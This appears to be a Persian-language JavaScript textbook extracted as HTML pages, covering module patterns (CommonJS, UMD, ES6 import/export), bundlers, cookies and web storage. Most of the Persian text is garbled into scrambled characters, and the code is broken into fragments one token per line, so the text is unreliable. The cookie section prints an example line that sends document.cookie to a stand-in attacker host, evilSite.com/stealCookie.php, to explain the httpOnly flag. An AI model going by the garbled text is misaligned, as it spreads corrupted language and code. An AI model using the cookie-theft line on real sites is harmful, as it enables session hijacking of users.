.³²
ی
Ì
ر می
»²
ق
ϳ
¾فا
º» ³
مور
module.export
ی×
Á ¿¾Ó²
¼ج· گ
²Ã ´»²
د ¼ ب
É
م·ک
// require needed dependency
var
dep1 =
require
(
‘./dependency1’
);
var
dep2 =
require
(
‘./dependency2’
);
module
.exports =
function
(){
//...
}
Universal Module Definition
:µº» ò¼²Õ
م
UMD
ک¶ ب¶
ѼÜ
ما
ê±²Õ¸ ·
وم
È
ع
µ
حال
(
function
(
root, factory
) {
if
(
typeof
define ===
‘function’
&& define.amd) {
define([
‘dep’
], factory);
}
else if
(
typeof
module
===
‘object’
&&
module
.exports){
module
.exports = factory(
require
(
‘dep’
));
}
else
{
// Browser globals (root is window)
root.returnExports = factory(root.b);
}
}(
this
,
function
(
dep
) {
//use b in some fashion.
return
{};
}));
145
Ϳָ ØÉ³
================================================ FILE: HTML/148.html ================================================
شد ¼ با آن
ϳ»³ ð
¸وضی
Æ
کام
ƹ
ب¶ ش
UMD
¾ار
Ã
ا
º ،Ä
¿ بخ
±»
ز
»
IIFE
îÞÎ
م
²Ã
آ
Ä
ر بخ
³
ا هس¾ی
É
آش
ES6
در
ÛÀä
م¶ ما
²·
ن
³²
ک
³
´ لو
»²
ب
import
ید´
Â
¶ ک
ÈÂ
ز ک
» ¶
ک
µº» Ï
¶ شد
Ó
ضا
» µ
پ
±²¹º
ا
È
ک
»
ز
» 6 ¶
سخ
Á
ر
³ ·
ژگ
±¼ ¿±»
ز
» ¿¾Ó²
¼ج· گ
²Ã ´»²
ب
export
¾ور
º³
ز
» ¼
د
É
م·ک
ϳ
¾فا
º»
یاز
Á ³
·ها´ مور
̾
بس
»¼
ا
±
یازها
Á Ä
ی
Å
¼ ³²
ک
Ù
هی
»
خو
Á
با آنها کار
³
ا
±
ز
Ä
¿ بخ
±»
ر
³ ¶
د. ک
É
م·ک
ϳ
¾فا
º» ѼÜ
ما
Ú±
publicAPI
²±³
ا
Ý
م
ی
É
م·ک
Ï
د
É
· آنها بس
Â
¾ار ک
Ã
ا
º
¶ با
ä
ب
»
ر ر
³ ·
¶ مثال
Ç»
ر
» ¶
ب
óÝÓ
getData
Ö
ا
Á
· با
Õ
¸اب
Ù
هی
»
¼ بخو
Ù
ش¾¶ باشی
»³
dataManager.js
Ö
ا
Á
با
¼ل
Ü
ما
(·Â±
ا
Ó
ید
É
ک
þ²Ó
¿ کار
±» ´»²
، ب
Ù
ی
É
از ک
ß
م
Ʊ
ا
Ó ·Âû³
scope
ز
» Ò
ار
à ´
ها
ϳ
¾فا
º» ´»²
ب
publicAPI
ن
»
و
É
ز ب¶ ع
» »
ر
سی
±
و
É
ب
²±
ز
Ö²Ó ¶
¶ کد´ ب
¹¸ µ
س
±
م·با
// dataManager.js
var
data = {
title:
“Js book test”
};
// Export variable default
export default
data
;
// Export the function
export function
getData
(){
return
data;
}
// Do not export the function
function
somePrivateFunction
(){
// some code
}
Ù
هی
»
و
÷
م
Ñ
، حا
Ù±»Ï³²
ک
³
ا
ß±» ·Á¼²
بی
ϳ
¾فا
º» ´»²
ب
getData
Û
ز ¸اب
» ·
¼ج
²Ã Ú±
¿ کار
±»
با
Ʊ
ا
Ó
ز
» »
یاز ر
Á ³
مور
Û
¸اب
»
ب¾د
» µ
س
±
¿ کار م·با
±» ´»²
، ب
Ù
ی
É
ک
ϳ
¾فا
º» ²Ì±³ ·Â±
ا
Ó
ر
³ Û
¿ ¸اب
±»
ز
»
ش
»³ Ù
هی
»
و
à ¶
کد´ ک
ìÅ ،Ù
ی
É
ک
ϳ
¾فا
º»
ز آن
» ì
پ
º ¼ Ù
ی
É
ر´ ک
»
بارگذ
dataManager
146
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/149.html ================================================
import
{ getData }
from
‘./dataManager’
;
var
data = getData();
console
.log(data);
:
as
ید´
Â
¶ ک
ÈÂ
ز ک
» ϳ
¾فا
º»
با
Ñ
´ مثا
»²
. ب
µ
وش
Á
ن
»
ی× م·¸و
Á ´²Ì±³ ´
ها
Ö²Ó ¶
ب
»
¿ کد ر
±» ¶¾Î
ل
»
import
{ getData
as
data }
from
‘./dataManager’
;
data();
ز *
» ،Ù
ی
É
ر´ ک
»
بارگذ
»
ر
µº» í²¾º³ Æ
قاب
²æÁ ³
مور
Ʊ
ا
Ó
ز
» ¶
ک
publicAPI
Æ
ک
Ù
هی
»
بخو
²
گ
»
ا
±
ی
É
م·ک
ϳ
¾فا
º»
import
*
from
‘./dataManager’;
getData();
Û
ب
»
ز ¸و
» ϳ
¾فا
º» ¶
ب
³¼
د
Þ
ا م
Ôɸ
ی× ما
Á ³²¹±¼
¿ ر
±»
ر
³ ،´³
عا
ѼÜ
ر ما
³
publicAPI
د
ÉÁ
ا
È
¾¶ ه
Î
ل
»
، مثا
Ù
هی
³
ر
»²
¼ج· ق
²Ã
ن
»
و
É
ی× ب¶ ع
Á »
ر
²Ì±³ ²±³
ا
Ý
م
Ù
ی
Á»
¼ م·¸و
Ù
یس¾ی
Á
export default function
sayHello
(){
console
.log(
‘I will say default Hello’
);
}
export function
getBase64
(){
console
.log(
‘I Am Not Base64’
);
}
export const
imagesPrefix =
‘/test/src/’
;
export const
imagesOptions = {
responsive:
true
}
147
Ϳָ ØÉ³
================================================ FILE: HTML/15.html ================================================
180
.................................................................................................
Plugins & Presets
181
......................................................................................
babel
Ê
ا
»½
ظ
Ñ
× ت
±
·ا
182
........................................................................................
babel
À
ا
ÈPolyfill
³¶
بخش د
[
¸ا
Generator
و
Iterator
188
.................................................................................................
ا
È
Iterator
188
........................................................................................
iteratable
×Í
ت
À²
پ
189
............................................................................................
iterator
×Í
ت
À²
پ
189
............................................................................................
Iterator
·ی
²
مع
192
............................................................................................
object iterator
¶É
سا
193
..............................................................................................
Symbol
اد
ȼ
194
...............................................................................................
computed property
197
......................................................................
¶Ì±²Í
´س
À
ومی جا
»¿ ¾
ا
È
Iterable
197
.................................................................................................
ا
È
Iterable
198
.....................................................................................
بودن
iterable
رسی
²
ب
199
..........................................................................
ا
È
iterable
گان ´ز
¹ÑÑ
´س¸فاده ک
200
.............................................................................................
ا
È
Generator
204
......................................................................
generator
در
return
À
yield
´س¸فاده ´ز
205
....................................................................................
next
¹¸
م
Á
ب
²¸
د´دن پار´م
Þ
پا
208
.................................................................
generator
در
generator
´س¸فاده ´ز
210
..................................................................................
Á
حا·ظ
Ù²è
ی در م
Îѽµ
ب
210
.................................................................................
generator Ú
تو´ب
æ½
ک
²
ت
212
...............................................................................
ا
È generator
د
²
مو´رد کارب
================================================ FILE: HTML/150.html ================================================
[
Å
ماژو
Æ
¸ا
µ¹
نن
È
یریت
¹
م
ان
È
ا ه
±
ها
ѼÜ
ها´ ما
Ï
د
ÉÉ
ک
µ±²±
· مد
º
ر
²
ها ب¶ ب
ѼÜ
ها´ ما
µ
م
²Ó ç»
و
Á» Ø
ر
³
ز
» ìÅ
د
ɾ
· هس
±
ها
Ù¾
یس
º
ها
ѼÜ
ها´ ما
Ï
د
ÉÉ
ک
µ±²±
مد
Û
ق
»¼
ر
³ ،Ù±
ز
»³²Å·
م
ѼÜ
ها´ ما
Ï
د
ÉÉ
ر´ ک
»
بارگذ
د.
ÉÉ
م·ک
Ù
ه
»²Ó ¼ ²
¸فسی
»
ر
Ë
ا
à µ
م
²Ó Ú±
ر
³ Ï
وش¾¶ شد
Á ´
ها
ѼÜ
ک¶ ما
¹È
مید
Ä
ا
غ´ ÛÀä
ه ما
¹ÑÑ
¶ ک
±²±¹
م
Ó± Á
´مور¾ ک
±
ر´ م·شو
»
بارگذ
ѼÜ
ما
Ï
د
ÉÉ
ک
µ±²±
مد
³
و
à »
ب¾د
»
±
د.
É
ر´ م·ک
»
¼ بارگذ
ϳ²
ک
µÓ
ا
±
ر
³ »
ر
Ïܼ²Å ¶
ب
Ê
بو
²
· م
Â
ص
» Ʊ
ا
Ó
±
ر´
»
´ بارگذ
»²
ب
Ö
ز
° ´
د´ها
É
یازم
Á ¼ ϳ²
ک
²
¸فسی
»
· ر
Â
ص
» Ʊ
ا
Ó
ن
»
و
É
ب¶ ع
Ï
شد
µÓ
ا
±
ر
³ ´»
¾و
Þ
م
د.
É
· م·ک
±
ا
º
ا
É
ش
»
ر
±
د.
É
ر´ م·ک
»
بارگذ
»
ام¶ ر
Á²
یاز ب
Á ³
ها´ مور
Ʊ
ا
Ó
±
ر
³ ¶
ک
Ʊ
ا
Ó ´³»
د
Õ¸ ¶
ک
Ù
ی
É
م·ک
Ï
اهد
Ð
م
Ù
ی
É
باز ک
»
ر
²
¼رگ
²
م
network
é¸ ²
گ
» Æ
لی
³ ¿
ی
È
ب¶ ه
د.
Á»Ï
ر´ شد
»
· بارگذ
Â
ص
» Ʊ
ا
Ó ³
و
à ¼ Ù±³
بو
ϳ²
ک
ê±²Õ¸ ·Â
ص
» ²
مسی
ÛÀä
ا¾ ما
È
ه
¹ÑÑ
¶ ک
±²±¹
¼ م
±²
ت
ÙÀ²
مع
±
AMD
د´
É
ب
ѼÜ
ما
µ
م
²Ó ´»²
ر´ ب
»×
ب
»
ن
»
و
É
ب¶ ع
RequireJS
±
Ï
شار
»
AMD, CommonJS, UMD
د´:
É
ب
ѼÜ
ها´ ما
µ
م
²Ó ´»²
ر´ ب
»×
ب
»
ن
»
و
É
ب¶ ع
systemJs
148
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/151.html ================================================
د.
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
ѼÜ
ها´ ما
µ
م
²Ó
ز
» ç
و
Á
د
É
ا چ
± Ú±
ر
³ Ö»
کد
²
ک¶ ه
³²
ک
[
Å
ماژو
bundler
د´
É
یازم
Á ´
ها
Ʊ
ا
Ó Ú¸ Ú¸
ر´ شدن
»
یاز ب¶ بارگذ
Á
ها
ѼÜ
ها´ ما
Ï
د
ÉÉ
ک
µ±²±
¶ مد
¹É±» Æ
بدلی
شدن
Ñ
÷و
Ð
¼ م
http
槯
و
Ã
ر
³ Ú± Æ
ر´ها شام
»
¿ بارگذ
±»
ز
» Ö»
کد
²
د ¼ ه
Á³
¶ بو
Á
گا
»
ب¶ صورت جد
¼ Æ
ر´ کام
»
´ بارگذ
»²
ب
Ö
ز
°
، زمان
²Ì±³ ÆÇ
´ مسا
²
س
¹± ¼ ²
یاز کارب
Á ³
مور
ϳ»³ ¿
´ ¸امی
»²
¼ر ب
²º
¶Þ
صف
Ú¸ ´
ام¶ها
Á²
×¼ن ب¶ ¸ولید ب
Ó»
یاز ر¼ز
Á ،ϼÍÕ
، ب
µ
هس
°
با
Ï
شد
ѳ
ا
θ ´
ها
槯
و
Ã
ر
³ Ùß
ح
·ÉÈ
ا ب¶ صورت ض
± ،
ا
ß¹±
یاز ب¶ صورت
Á ³
مور
í
ور
º Ö
ا
ȸ ،
د
Á
م·شو
Ï
امید
Á
SPA
حا
Íä
ص
» ¶
ک
Ú±
با
»
ر
³
و
Ã
یاز
Á ³
ها´ مور
ϳ»³ ¶È
ه
Ù
هی
³·
م
ð
جی
²¸
ìÅ
د
Á
م·شو
³
لو
bundle
Ʊ
ا
Ó
ان
È
ر ه
³
ی
É
ک
µÓ
ا
±
ر
³ Ï
شد
Ùß
ح
Ù
¼ ب¶ صورت ک
槯
و
Ã
ر
³
ازها
º ¶¾
¿ بس
±» µÝ
ی
Ý
ر ح
³ ،
د
Á»Ï
شد
µÃ
ا
º
ها
ù
ی
¹Å ´»²
ب
bundler
´²
س
¹±
ور
æÉ
¿ م
±» ´»²
ب
²¾Ô
¼ ب
²¸¶¾Ó
ا
±
ازمان
º ƹ
ب¶ ش
»
ان کار ر
È
ک¶ ه
»²
د، چ
Á»Ï
ها شد
ѼÜ
ها´ ما
Ï
د
ÉÉ
ک
µ±²±
¿ مد
±×̱
جا
د.
É
ه
³·
م
Ö
ا
ßÁ»
ید:
É
ط· م·ک
bundler
ز
» ϳ
¾فا
º»
ر
³ Ú± ¶
· ک
Â
ح
»²
م
±
ϳ²
ک
Ʊ
ا کامپا
± ²
¸فسی
»
´ ر
³¼
ها´ ¼ر
Ʊ
ا
Ó ¼ ³
م·شو
»²
ج
»
bundle
Ʊ
ا
Ó
´ ¸ولید
»²
ب
bundler
د.
É
م·ک
ϲ
ی
Ãè
bundle
ïÍä
ص
» ¶
ب
Ʊ
ا
Ó Ú±
ر
³ ¼
±
م·شو
»²
ج
» ¼ ´
ر
»
بارگذ
²
¼رگ
²
ر م
³ Ï
شد
³
ا
ß±»
bundle
Ʊ
ا
Ó
±
.³²
ک
Ï
شار
»
webpack
¼
browserify
ن ب¶
»
ی× م·¸و
Á ѼÜ
ازها´ ما
º ¶¾
¿ بس
±²¸
ور
ÔÐ
ز م
»
ک¶
³
· بو
±
ا
ÔÁ Ï
شد
bundle
Ʊ
ا
Ó ´°
با
Ùß
د، ح
Ð
ها می
bundler
· ک¶ ب¶
±
دها
ÝÁ ¿±²¸·Â
ص
»
ز
»
µ
ش
»³ ³²
´ کارب
»¶Þ
صف
Ú¸
ا
±
SPA
ام¶ها´
Á²
´ ب
»²
ب
Ʊ
ا
Ó Ú±
ر
³
ها
Ʊ
ا
Ó Ö
ا
ȸ
شدن
Û
ی
È߸ Æ
بدلی
¶¹¸
· کدها ب¶ صورت
Ý
¼ ماب
Ï
شد
³
ا
ß±» ¶
¼لی
» ´
ر
»
´ بارگذ
»²
ب
bundle
Ʊ
ا
Ó ·±
ها
³²¹±¼
با ر
»²
ی
û ¶
ک
د.
Á
م·شو
³
لو
Ä
د´ ب¶ آن بخ
É
یازم
Á í
ا
º»²
¶ ¼ ب
¹¸
149
Ϳָ ØÉ³
================================================ FILE: HTML/152.html ================================================
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
هید.
³ ¶Ç»
ر
» »
ز آن ر
» ϳ
¾فا
º» Ʊ°³ ¼ ϳ²
ک
²æÁ
ار
Ô
ظ
»
IIFE
³
ر مور
³
±
ید.
É
از´ ک
º ϳ
یا
Å
IIFE
ب¶ صورت
Û
ب
»
´ ¸و
²º Ú±
ید
Á»
ب¾و
±
هید.
³ ð
¸وضی
»
ر
IIFE
ز
» ϳ
¾فا
º» ´
ها
µ±×
م
±
د.
±²Î
ب
Ö
ا
Á »
ز آنها ر
» ·±
ها
³²
هید ¼ کارب
³ ð
ها ¸وضی
closure
³
ر مور
³
±
ید.
É
ح· ک
»²
ط
closure
´»²
ها´ ک¾ا½ ب
Ñ
ز مثا
» Ò
ار
à ·ÂÈ
ع
Ñ
مثا
Ú±
±
ید.
É
بیان ک
»
ر
closure
ا باشید ¼ ¸فا¼ت آن با
É
ها آش
ѼÜ
· ما
Âû³
¾ار
Ã
ا
º
با
±
ید.
É
ک
²æÁ
ار
Ô
ظ
»
module loader
¼
module bundler
³
ر مور
³
150
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/153.html ================================================
³
بخش ¶´ت
د´
±
و م¸یریت د
É
ر´ ساز
Ã
ذخ
ا¶½ا¼ بخش:
آ¶
½
س¼فا
µ ½ºµ²
ک· و م
²
آش¸ای· با ک
ا
ö
ت آ
ȸ
م
µ
ا و
÷
ک
²
مدیریت ک
²
ش¸اخت نح
)
web storage api( á
ظه و
Ï
ا
Ô â
ب
µº
آش¸ای· با
sessionStorage
و
localStorage ·
ای
ý
بر
º
کا
Ǻ½
blob
آش¸ای· با
blob
با
º
کا
Á
ا
Ã
ا و م¼د
ÃÞ
ا
ã
م
Ǻ½
ک·
²
ک
================================================ FILE: HTML/154.html ================================================
ک¶
µº» ¿±»
ر
³ ²
، ¸فا¼ت کوک· ¼ م¾÷ی
Ù
ی
É
ک
ϳ
¾فا
º»
1
ز کوک·
» Ù
ی
Á»
، م·¸و
ϳ»³ ´
از
ºÏ²
ی
Ãè ´»²
ب
´ ب¶
²
ید کارب
É
ور ک
ภÑ
´ مثا
»²
م·باشد. ب
í²¾º³ Æ
ی× قاب
Á ¶Þ
شدن صف
á²Ó
ز ر
» ìÅ ·
کوک
¶Õ
ج
»²
ر م
³ ¶¹É±» ´»²
د، ب
É
م·ک
³
ر
»¼ »
ر
³
و
à Ö
ا
Á
عات
Í
ط
» ³¼
¼ر
Ö²Ó
ر
³ ¼
د
É
¶ م·ک
Õ
ج
»²
ما م
µ±
¼بسا
ر
³ »
ر
²
کارب
Ö
ا
Á ¿¾
رش¾¶ م
Ú± é
ر قال
³ Ù
ی
Á»
اشد، م·¸و
ÎÁ ²
کارب
Ö
ا
Á
شدن
²Å ¶
یاز´ ب
Á ،²
د´ کارب
Õ
ب
ی
±
ا
ÈÁ ´
ر
»
د
ÔÌÁ ·
کوک
[
´È¶È ¼
¼ د
²¹
مق
µ
ر
Ã
ذخ
ز
» 鸲
م
Ò¼
ز
Ú± ¼ ³
ر´ م·شو
»
د
ÔÌÁ ²
کارب
Ù¾
یس
º ´¼
ر
²
· ب
ɾ
م
Ʊ
ا
Ó Ú± é
ر قال
³ ·
کوک
document
ر¼´
²
د ¼ ب
É
م·ک
Ï
شار
» ´
از
º ϲ
ی
Ãè ´»²
ب
²æÁ ³
ک¶ ب¶ م¾¿ مور
µº» ·±
رها
»
د
Ý
ید ¼ م
Â
ک
م·باشد:
í²¾º³ Æ
قاب
document
.cookie =
“studentName=AliKarimi”
;
¼ ·Á
ا
º
دن، ب¶ ر¼زر
Á»
و
à ´»²
ز آن ب
»
ن
»
¼ م·¸و
³
ر
»
د
Á ³²
کوک· کارب
³
ا
ß±» ´»²
ب
óÝÓ
¾ار
Ã
ا
º ¿±» ¿±»
.³²
ک
ϳ
¾فا
º» ·
کوک
ò
حذ
ی¿
ÉãÈ
¼ ه
²æÁ ³
ن کوک· مور
³
بو
²Î¾Õ
´ مدت زمان م
»²
ی× ب
Á ´²Ì±³
ات
È
ی
æÉ¸ Ù
ی
Á»
¾¶ م·¸و
Î
ل
»
ϳ
¾فا
º»
path
¼
expires
ز
»
ور
æÉ
¿ م
±» ´»²
، ب
Ù
ی
É
ک
Ù
ی
æÉ¸ ×
ی
Á »
باشد ر
²Î¾Õ
ر آن م
³ ·
´ ک¶ کوک
²
مسی
ی
É
م·ک
document
.cookie =
“studentName=AliKarimi; expires=Thu, 23
Dec 2019 15:45:00 UTC; path=/”
;
هد بو
»
و
à Ñ
ا
ÕÓ À
خ
Ð
¼ ب¶ مدت م
²æÁ ³
مور
path
ر
³ óÝÓ ²æÁ ³
کوک· مور
é
¸ی
²¸ ¿±
بد
[
´ ¸ا
ȶÈ
یریت مقادیر
¹
م
د کار با
ÉÁ
ا
È
گ· ه
³
ا
º ¶
ی× ب
Á ·
کوک
Ú±
ر
³ Ï
شد
ϲ
ی
Ãè
ر
»
د
Ý
م
²
ا ¸÷یی
± ¼
دن
Á»
و
à ´»²
ب
¶¾Î
ل
» .³»³ ²
ا ¸÷یی
± ¼
د
Á»
و
à »
ر
²æÁ ³
ر مور
»
د
Ý
ن م
»
· آن، م·¸و
Á»
و
û²Ó
ها با
object
ی¶
Ý
· ب
±
ژگ·ها
±¼
µ±²±
مد
»
آن ر
µ
س
±
مان م·با
³
و
à ¼ ¶
ک
³²
ک
Ù
هی
»
و
à µÓ
ا
±
ر
³ ¶¾
رش
Ú±
ش¾¶ باشید ک¶ ما
»³ ¶
¸وج
1 cookie
152
داد¶
DZ
ر
±¼
زی و م
²
ر¶ س
ÆÂ
ذ
================================================ FILE: HTML/155.html ================================================
وش¾¿
Á ´»²
ز آنها ب
» ¼ Ù
ی
É
ح· ک
»²
ط
cookie
µ±²±
´ مـد
»²
ب
»
· ر
±
م¾ــدها
Ù
ی
Á»
م·¸و
Ñ
´ مثا
»²
. ب
Ù
ی
É
ک
ϳ
¾فا
º» ²±
ز م¾د ز
»
ن
»
کوک· م·¸و
ϲ
ی
Ãè ´»²
ب
Ñ
´ مثا
»²
. ب
Ù
ی
É
ک
ϳ
¾فا
º» ·
ز کوک
»
ر
»
د
Ý
م
µÓ
ا
±
ر
³ ¼
:³²
ک
function
setCookie
(
cname, cvalue, exdays
) {
var
d =
new
Date
();
d.setTime(d.getTime() + (exdays *
24
*
60
*
60
*
1000
));
var
expires =
“expires=”
+d.toUTCString();
document
.cookie = cname +
“=”
+ cvalue +
“;”
+ expires +
“;path=/”
;
}
²¾Ô
د ک¶ ب
Á
ر
»³ ³
¼جو
µÁ²¾É±»
ر
³
ز کوک·ها
» ϳ
¾فا
º» ¼ µ±²±
´ مد
»²
وب· ب
à ´
¶ها
Á
م¾دها ¼ ک¾ابخا
و
ÈÁ ϳ
¾فا
º»
کوک·ها
µ±²±
´ مد
»²
ز آنها ب
» ،·¾º³ µ±²±
ب¶ جا´ مد
槯
[
´È¶È âÎ
ح
´»²
، ب
Ù
هی
³·
ر م
»²
جار´ ق
Ą±
ز ¸ار
» ²¸ÆÎ
خ· ق
±
´ ¸ار
»²
ب
»
ا´ آن ر
ñÝÁ» Ą±
کوک· ¸ار
ò
´ حذ
»²
ب
آن ب¶ صورت
Ù
ی
æÉ¸
کوک·ها م·باشد، با
ò
ر حذ
³ ϳ
¾فا
º» ´»²
وب· ب
à ¶É±×
گ
²¸Ä
ی
Å Ñ
ا
º ϳ Ñ
مثا
. مثا
³
هد بو
»
و
Ã
شدن
ò
×ل¶ حذ
É
کار ب¶ م
³
و
Ã
document
.cookie = name +
‘=;path=/;expires=Thu, 01 Jan 1970
00:00:01 GMT;’
;
[
´ ¸ا
ȶÈ
ت
Ã
من
²
³
ا
ß±»
د با
ÉÁ»
ها م·¸و
²¹
، ه
document
وم·
È
ع
object
ز
» ·
شدن کوک
Ï
د
Á»
و
Ã
ان
¹
م
» Æ
لی
³ ¶
ب
ر کوک·
³ Ï
شد
ϲ
ی
Ãè
عات
Í
ط
» ´³
ز
³ ¶
ب
Ö»
قد
» ·ÂÕ
ج
²±¼
ا
ภ´»
ر
»³ ´
ها
Æ
ی
ȱ» Ñ
ا
º
ر
»
ا
±
ها
µ±
¼بسا
´ مثا
»²
د، ب
ɱ
ا
ÈÁ ²
کارب
(
new
Image()).src =
“http://www.evilSite.com/stealCookie.
php?cookie=”
+
document
.cookie;
153
Ϳ¸ ØÉ³
================================================ FILE: HTML/156.html ================================================
´»²
¼ ب
µº» ϳ²
ح· ک
»²
عات کوک· ط
Í
ط
» ´
آ¼ر
ÛÈ
´ ج
»²
¼½ ب
í
ر
³
آ
Ú± ²¹
ک¶ ه
Ù
ی
É
م·ک
Ï
اهد
Ð
م
Ï
اهد
Ð
م
»
ر
²æÁ ³
مور
²±
و
à¸
هد
»
بخو
²
، ¼ق¾· کارب
µº» ϳ²
ک
ϳ
¾فا
º»
ز آن
» ²±
و
ภ²
ب¶ ظاه
Ú± ³
لو
م·شو
Ñ
ا
º
ر
» ²¹
¼ر ه
²º ¶
عات کوک· ¼´ ب
Í
ط
» ،
د
É
ک
ها´
Ï»
ز ر
» µº» ¿¹È
ها ک¶ م
²¹
ه
óº
ر کوک· ¸و
³ Ï
شد
ϲ
ی
Ãè
عات
Í
ط
» µ
ق
²º
ز
» ´²
وگی
Â
´ ج
»²
ب
Ù
ی
æÉ¸
، با
Ù
ی
É
ک
ϳ
¾فا
º»
ن
³
و
ÈÁ
httpOnly
´»²
ب
³
موجو
flag
ز
» Ù
ی
Á»
م·¸و
³
شو
Ö
ا
ßÁ» ´³
د
Õ¾
م
ش¾¶
»³ ·º²¾º³ µ
ی
Â
¼ قاب
ϳ
بو
²Î¾Õ
م
http
槯
و
Ã
ر
³ ë±²
ز ط
»
ا
Ôɸ
عات کوک·ها
Í
ط
» flag ¿±»
³
مور
ÙÔ
ها´ م
ϳ»³ ϲ
ی
Ãè ´»²
ب
µº» ²¾Ô
د ¼ ب
Á
ر
»
د
Á ·±°
· با
Â
ی
à µ
ی
É
م
» Æ
ر ک
³
¾¶ کوک·ها
Î
ل
» ،
د
É
باش
د. مثا
Á²
ی
ÌÁ
ر
»²
ق
ϳ
¾فا
º»
document
.cookie =
“name=value;expires=Thu, 23 Dec 2019
15:45:00 UTC; domain=my.domain.com; path=/; HttpOnly;”
;
م·شو
í²¾º³ Æ
قاب
http
槯
و
Ã
ر
³ ë±²
ز ط
» óÝÓ ²æÁ ³
کوک· مور
httpOnly
ن
³»³
ر
»²
با ق
[
)
Web storage API( ã
حافظه و
ܳ²¼
ϲ
ی
Ãè ÆÞ
م
Ú± ¶
یاز ب
Á ،µÉ±Í
¼ر ¼ ک
²º µÈº
ر
³ Ù
کوک·ها، ه
í²¾º³ Æ
قاب
µ
ماهی
Æ
لی
³ ¶
ب
باشد
í²¾º³ Æ
قاب
Û±²º µ
س
Á»
¼ م·¸و
µ
ش
»
د
Á
¼ر
²º µÈº
ر
³
ن
³
بو
í²¾º³ Æ
ک¶ ل×¼م· ب¶ قاب
´»²
· ¼ ب
Ó²Õ
م
²
¼رگ
²
م
ðäº
ر
³ ϳ»³ ´
ر
»
د
ÔÌÁ ´»²
· ب
ä
ب
»
ر
HTML
ز
» 5 ¶
سخ
Á
ر
³ ،
م·شد
í
حسا
»
د:
±
· جد
ÂÞ
¶ م
æÓ
حا
ç
و
Á ¼³
ز
» ϳ
¾فا
º»
ان
¹
م
» ¶
ک
µÓ²
ر گ
»²
سان ق
±
و
Á¶
ام
Á²
¾یار ب
û
ر
³ ϳ
¾فا
º»
ژگ·ها´
±¼ ¼
ات
Á
ا
¹
م
» ´»
ر
»³ Ú± ²
ک¶ ه
³
و
ÈÁ·
م
Ù
ه
»²Ó »
ر
localStorage , sessionStorage
د.
ɾ
هس
³
و
à Ë
ا
Ã
ا
± ¼ ز¾Ð
م
ر کوک·
³ ¶
ر حال· ک
³ ،
د
ɾ
هس
Ï
شد
ϲ
ی
Ãè
ر
»
د
Ý
´ م
»²
ا ب
ñÝÁ» Ą±
، بد¼ن ¸ار
API
¼³ ²
ه
Ñ
´ مثا
»²
ب
removeItem
¼
clear
ا م¾دها´
ñÝÁ» ´
، ب¶ جا
Ù±³²
یی¿ م·ک
Õ¸ »
ا´ کوک· ر
ñÝÁ»
¼ زمان
expire
د.
Á
ر
»³ Ï
د
Ô
ع
²
ب
»
ر ر
»
د
Ý
م
ò
ک¶ ¼ظیف¶ حذ
Ù±
ر
»³ »
ر
[
´È¶È
و
localStorage ، sessionStorage »
او
ÖÁ
باشد
Ï
آمد
Ä
ی
Å Ñ»
و
º ×
ی
Á
ا
È
´ ش
»²
ب
µº» ¿¹È
¼ م
³
ر
»³ ³
¼جو
API
¼³ ¿±» ¿
´ بی
³
ا
±
ها´ ز
µ
اه
Î
ش
·ÂÞ
¶ م
æÓ
حا
µ±²±
´ مد
»²
م¾فا¼ت ب
API
¼³ ³
¼ چ¶ ل×¼م· ب¶ ¼جو
µ
ر چیس
³
ان
б
ک¶ ¸فا¼تها
154
داد¶
DZ
ر
±¼
زی و م
²
ر¶ س
ÆÂ
ذ
================================================ FILE: HTML/157.html ================================================
م·شو
ϳ»³ ï²
ها ش
ó
ب
»
¿ ر
±»
ز
» Ú± ²
ب¶ ه
Ê
بو
²
ات م
Þ
ر ¸وضی
³
ا
È
ش
Ñ»
و
º Ąº
ا
Å ،³
ر
»³ ³
¼جو
API
وش¾¿
Á ´»²
از ب
ß
ا´ م
ñÓ
ن
»×
ن ب¶ می
»
ی× م·¸و
Á ·ÂÞ
م
µ
س
ÐÁ
ا
± ¶æÓ
ز ¸فا¼تها´ کوک· ¼ حا
»
ز
» ϳ
¾فا
º» ¼ ê±²Õ¸ ´»²
ا، ب
ñÓ µ±
وبا
Â
کی
4
ز
» ϳ
¾فا
º» ¶
از ب
ß
ا م
Ôɸ ·
ر کوک
³ ¶
ک
³²
ک
Ï
شار
»
عات
Í
ط
»
ب¶ کوک· ک¶
Ê
بو
²
رش¾¶ م
Æ
´ ک
»²
ب
)µ±
با
4093( µ±
وبا
Â
کی
4 ¿±» ¶
ید ک
É
ک
µ
ق
³ ¶¾Î
ل
» .Ù
کوک· هس¾ی
ی×
Á ·±
¸فا¼تها
ê¾
ها´ مخ
²
¼رگ
²
ر م
³ ¼
م·باشد
µ
¼ ... هس
name , value , expireDate
Æ
شام
µ±²±
مد
»
م¿ کوک· ر
» ¼ ·Â
· ک
¹
ب¶ ش
Ù
هی
»
بخو
²
گ
» .³
ر
»³ ³
· ¼جو
Ç×
× ب¶ صورت ج
±
ا
º ¿±» ´¼
ر
²
ب
ک¶
»²
، چ
Ù±²ÎÁ ²¸°
با
µ±
با
4000 ½
سا
Á
ز حد
» »
ر
³
و
à ϳ
¾فا
º» ³
ن کوک· مور
»×
می
µº» ²¾Ô
ب
Ù
ی
É
ک
د.
É
م·ک
³
ا
ß±» ·É
بی
Ä
ی
Å Æ
قاب
²
ی
õ ´
اها
äÃ
ا´
ñÓ
ن
»×
می
ê¾
ها´ مخ
Ï
ا
̾º³ ¶¾Î
ل
» ¼ ê¾
ها´ مخ
²
¼رگ
²
ی× بی¿ م
Á ½¼ ¶æÓ
حا
ó
ب
»
ر
³
ر مور
³
ا
¹¾º³ ´
ها
²
¼رگ
²
م
(µ±
ابا
Ì
م
10
¸ا
)4.3
د
±¼
در
Á»(µ±
ابا
Ì
م
2
ز
» ¼ µº»
م¾فا¼ت
ϳ
¾فا
º» ´»²
از ب
ß
م
ϳ
¾فا
º» Ö
ا
ÌÉ
ر ه
³ ²
¼رگ
²
و½ م
Ã
بسیار
µ
ع
²º ،³²
ک
Ï
شار
»
د ب¶ آن
±
´ ک¶ با
»¶¾¹Á
م·شو
Æ
شام
»
ر
سخ¶ها´
Á ¼ ê¾
ها´ مخ
Ï
ا
̾º³
ر
³ ¶
ک
槯
دن
Á»
و
Ã
ا
± ¿¾
وش
Á ´
یاتها
ÂÈ
´ ع
»²
¶ ب
æÓ
¿ حا
